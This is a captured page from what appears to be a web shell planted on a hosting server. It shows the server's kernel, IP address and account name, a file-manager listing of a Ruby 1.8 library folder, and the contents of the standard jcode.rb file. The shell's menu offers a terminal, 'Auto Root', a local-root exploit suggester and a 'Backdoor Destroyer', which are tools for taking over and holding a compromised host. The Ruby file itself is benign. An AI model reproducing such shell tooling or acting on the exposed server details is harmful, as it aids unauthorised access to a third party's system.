Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.217.103
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby18 /
lib64 /
ruby /
1.8 /
Delete
Unzip
Name
Size
Permission
Date
Action
bigdecimal
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
cgi
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
date
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
digest
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
dl
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
drb
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
io
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
irb
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
net
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
openssl
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
optparse
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
racc
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
rdoc
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
rexml
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
rinda
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
rss
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
runit
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
shell
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
soap
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
test
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
uri
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
webrick
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
wsdl
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
x86_64-linux
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
xmlrpc
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
xsd
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
yaml
[ DIR ]
drwxr-xr-x
2026-04-30 23:44
English.rb
5.6
KB
-rw-r--r--
2007-02-13 02:31
Env.rb
274
B
-rw-r--r--
2007-02-13 02:31
abbrev.rb
2.5
KB
-rw-r--r--
2007-02-13 02:31
base64.rb
3.37
KB
-rw-r--r--
2007-07-16 19:17
benchmark.rb
17.73
KB
-rw-r--r--
2008-02-10 18:54
cgi-lib.rb
6.89
KB
-rw-r--r--
2007-02-13 02:31
cgi.rb
73.74
KB
-rw-r--r--
2009-12-14 06:10
complex.rb
12.84
KB
-rw-r--r--
2009-08-03 10:29
csv.rb
24.46
KB
-rw-r--r--
2007-02-13 02:31
date.rb
53.02
KB
-rw-r--r--
2010-06-08 09:15
date2.rb
128
B
-rw-r--r--
2007-02-13 02:31
debug.rb
20.61
KB
-rw-r--r--
2007-02-13 02:31
delegate.rb
8.81
KB
-rw-r--r--
2009-07-16 05:05
digest.rb
1.12
KB
-rw-r--r--
2007-07-28 04:10
drb.rb
19
B
-rw-r--r--
2007-02-13 02:31
e2mmap.rb
4.04
KB
-rw-r--r--
2007-02-13 02:31
erb.rb
21.38
KB
-rw-r--r--
2009-02-23 21:14
eregex.rb
487
B
-rw-r--r--
2007-02-13 02:31
expect.rb
633
B
-rw-r--r--
2008-02-18 04:47
fileutils.rb
42.23
KB
-rw-r--r--
2011-05-21 02:59
finalize.rb
5.38
KB
-rw-r--r--
2007-02-13 02:31
find.rb
1.84
KB
-rw-r--r--
2007-02-13 02:31
forwardable.rb
6.16
KB
-rw-r--r--
2008-06-06 12:35
ftools.rb
6.17
KB
-rw-r--r--
2007-02-13 02:31
generator.rb
8.1
KB
-rw-r--r--
2008-04-10 15:22
getoptlong.rb
14.88
KB
-rw-r--r--
2007-02-13 02:31
getopts.rb
2.25
KB
-rw-r--r--
2007-02-13 02:31
gserver.rb
6.43
KB
-rw-r--r--
2007-02-13 02:31
importenv.rb
590
B
-rw-r--r--
2007-02-13 02:31
ipaddr.rb
21.96
KB
-rw-r--r--
2008-07-12 19:38
irb.rb
7.43
KB
-rw-r--r--
2009-08-09 13:14
jcode.rb
4.3
KB
-rw-r--r--
2007-02-13 02:31
kconv.rb
8.12
KB
-rw-r--r--
2007-02-13 02:31
logger.rb
17.59
KB
-rw-r--r--
2011-05-30 06:38
mailread.rb
1.28
KB
-rw-r--r--
2007-02-13 02:31
mathn.rb
5.42
KB
-rw-r--r--
2007-02-13 02:31
matrix.rb
27.21
KB
-rw-r--r--
2009-01-24 18:32
md5.rb
411
B
-rw-r--r--
2007-03-06 13:39
mkmf.rb
50.65
KB
-rw-r--r--
2010-12-04 10:04
monitor.rb
7.93
KB
-rw-r--r--
2009-11-25 11:15
mutex_m.rb
2.07
KB
-rw-r--r--
2007-02-13 02:31
observer.rb
5.15
KB
-rw-r--r--
2007-02-13 02:31
open-uri.rb
20.49
KB
-rw-r--r--
2007-10-08 14:46
open3.rb
2.1
KB
-rw-r--r--
2009-12-14 07:58
openssl.rb
575
B
-rw-r--r--
2010-11-22 10:51
optparse.rb
47.12
KB
-rw-r--r--
2009-02-20 15:13
ostruct.rb
3.35
KB
-rw-r--r--
2009-05-26 16:36
parsearg.rb
1.55
KB
-rw-r--r--
2007-02-13 02:31
parsedate.rb
1.33
KB
-rw-r--r--
2007-02-13 02:31
pathname.rb
29.39
KB
-rw-r--r--
2010-11-23 11:51
ping.rb
1.48
KB
-rw-r--r--
2007-02-13 02:31
pp.rb
15.97
KB
-rw-r--r--
2007-06-07 13:36
prettyprint.rb
18.33
KB
-rw-r--r--
2007-02-16 23:23
profile.rb
90
B
-rw-r--r--
2007-02-13 02:31
profiler.rb
1.59
KB
-rw-r--r--
2007-02-13 02:31
pstore.rb
11.15
KB
-rw-r--r--
2008-06-06 12:35
rational.rb
12.05
KB
-rw-r--r--
2010-06-08 09:32
readbytes.rb
835
B
-rw-r--r--
2007-02-13 02:31
resolv-replace.rb
1.55
KB
-rw-r--r--
2008-08-08 06:28
resolv.rb
56.83
KB
-rw-r--r--
2010-12-23 06:52
rss.rb
504
B
-rw-r--r--
2007-10-21 15:49
rubyunit.rb
180
B
-rw-r--r--
2007-02-13 02:31
scanf.rb
20.63
KB
-rw-r--r--
2009-01-20 06:53
securerandom.rb
4.27
KB
-rw-r--r--
2011-12-10 15:47
set.rb
27.08
KB
-rw-r--r--
2008-06-09 13:50
sha1.rb
418
B
-rw-r--r--
2007-03-06 13:39
shell.rb
4.66
KB
-rw-r--r--
2007-02-13 02:31
shellwords.rb
3.99
KB
-rw-r--r--
2008-03-21 16:46
singleton.rb
8.08
KB
-rw-r--r--
2008-07-03 15:44
sync.rb
6.09
KB
-rw-r--r--
2009-02-19 20:11
tempfile.rb
4.86
KB
-rw-r--r--
2008-04-21 14:13
thread.rb
104
B
-rw-r--r--
2007-02-13 23:09
thwait.rb
4.32
KB
-rw-r--r--
2010-06-08 11:38
time.rb
31.58
KB
-rw-r--r--
2008-06-06 12:35
timeout.rb
3
KB
-rw-r--r--
2010-06-08 10:54
tmpdir.rb
3.69
KB
-rw-r--r--
2009-01-26 05:42
tracer.rb
2.73
KB
-rw-r--r--
2007-02-13 02:31
tsort.rb
7.99
KB
-rw-r--r--
2007-02-13 02:31
un.rb
4.54
KB
-rw-r--r--
2007-02-13 02:31
uri.rb
710
B
-rw-r--r--
2008-04-15 14:11
weakref.rb
2.68
KB
-rw-r--r--
2007-02-13 02:31
webrick.rb
811
B
-rw-r--r--
2007-02-13 02:31
yaml.rb
12.36
KB
-rw-r--r--
2008-04-19 16:15
Save
Rename
# jcode.rb - ruby code to handle japanese (EUC/SJIS) string if $VERBOSE && $KCODE == "NONE" warn "Warning: $KCODE is NONE." end $vsave, $VERBOSE = $VERBOSE, false class String warn "feel free for some warnings:\n" if $VERBOSE def _regex_quote(str) str.gsub(/(\\[\[\]\-\\])|\\(.)|([\[\]\\])/) do $1 || $2 || '\\' + $3 end end private :_regex_quote PATTERN_SJIS = '[\x81-\x9f\xe0-\xef][\x40-\x7e\x80-\xfc]' PATTERN_EUC = '[\xa1-\xfe][\xa1-\xfe]' PATTERN_UTF8 = '[\xc0-\xdf][\x80-\xbf]|[\xe0-\xef][\x80-\xbf][\x80-\xbf]' RE_SJIS = Regexp.new(PATTERN_SJIS, 0, 'n') RE_EUC = Regexp.new(PATTERN_EUC, 0, 'n') RE_UTF8 = Regexp.new(PATTERN_UTF8, 0, 'n') SUCC = {} SUCC['s'] = Hash.new(1) for i in 0 .. 0x3f SUCC['s'][i.chr] = 0x40 - i end SUCC['s']["\x7e"] = 0x80 - 0x7e SUCC['s']["\xfd"] = 0x100 - 0xfd SUCC['s']["\xfe"] = 0x100 - 0xfe SUCC['s']["\xff"] = 0x100 - 0xff SUCC['e'] = Hash.new(1) for i in 0 .. 0xa0 SUCC['e'][i.chr] = 0xa1 - i end SUCC['e']["\xfe"] = 2 SUCC['u'] = Hash.new(1) for i in 0 .. 0x7f SUCC['u'][i.chr] = 0x80 - i end SUCC['u']["\xbf"] = 0x100 - 0xbf def mbchar? case $KCODE[0] when ?s, ?S self =~ RE_SJIS when ?e, ?E self =~ RE_EUC when ?u, ?U self =~ RE_UTF8 else nil end end def end_regexp case $KCODE[0] when ?s, ?S /#{PATTERN_SJIS}$/on when ?e, ?E /#{PATTERN_EUC}$/on when ?u, ?U /#{PATTERN_UTF8}$/on else /.$/on end end alias original_succ! succ! private :original_succ! alias original_succ succ private :original_succ def succ! reg = end_regexp if $KCODE != 'NONE' && self =~ reg succ_table = SUCC[$KCODE[0,1].downcase] begin self[-1] += succ_table[self[-1]] self[-2] += 1 if self[-1] == 0 end while self !~ reg self else original_succ! end end def succ str = self.dup str.succ! or str end private def _expand_ch str a = [] str.scan(/(?:\\(.)|([^\\]))-(?:\\(.)|([^\\]))|(?:\\(.)|(.))/m) do from = $1 || $2 to = $3 || $4 one = $5 || $6 if one a.push one elsif from.length != to.length next elsif from.length == 1 from[0].upto(to[0]) { |c| a.push c.chr } else from.upto(to) { |c| a.push c } end end a end def expand_ch_hash from, to h = {} afrom = _expand_ch(from) ato = _expand_ch(to) afrom.each_with_index do |x,i| h[x] = ato[i] || ato[-1] end h end HashCache = {} TrPatternCache = {} DeletePatternCache = {} SqueezePatternCache = {} public def tr!(from, to) return nil if from == "" return self.delete!(from) if to == "" pattern = TrPatternCache[from] ||= /[#{_regex_quote(from)}]/ if from[0] == ?^ last = /.$/.match(to)[0] self.gsub!(pattern, last) else h = HashCache[from + "1-0" + to] ||= expand_ch_hash(from, to) self.gsub!(pattern) do |c| h[c] end end end def tr(from, to) (str = self.dup).tr!(from, to) or str end def delete!(del) return nil if del == "" self.gsub!(DeletePatternCache[del] ||= /[#{_regex_quote(del)}]+/, '') end def delete(del) (str = self.dup).delete!(del) or str end def squeeze!(del=nil) return nil if del == "" pattern = if del SqueezePatternCache[del] ||= /([#{_regex_quote(del)}])\1+/ else /(.|\n)\1+/ end self.gsub!(pattern, '\1') end def squeeze(del=nil) (str = self.dup).squeeze!(del) or str end def tr_s!(from, to) return self.delete!(from) if to.length == 0 pattern = SqueezePatternCache[from] ||= /([#{_regex_quote(from)}])\1*/ if from[0] == ?^ last = /.$/.match(to)[0] self.gsub!(pattern, last) else h = HashCache[from + "1-0" + to] ||= expand_ch_hash(from, to) self.gsub!(pattern) do h[$1] end end end def tr_s(from, to) (str = self.dup).tr_s!(from,to) or str end def chop! self.gsub!(/(?:.|\r?\n)\z/, '') end def chop (str = self.dup).chop! or str end def jlength self.gsub(/[^\Wa-zA-Z_\d]/, ' ').length end alias jsize jlength def jcount(str) self.delete("^#{str}").jlength end def each_char if block_given? scan(/./m) do |x| yield x end else scan(/./m) end end end $VERBOSE = $vsave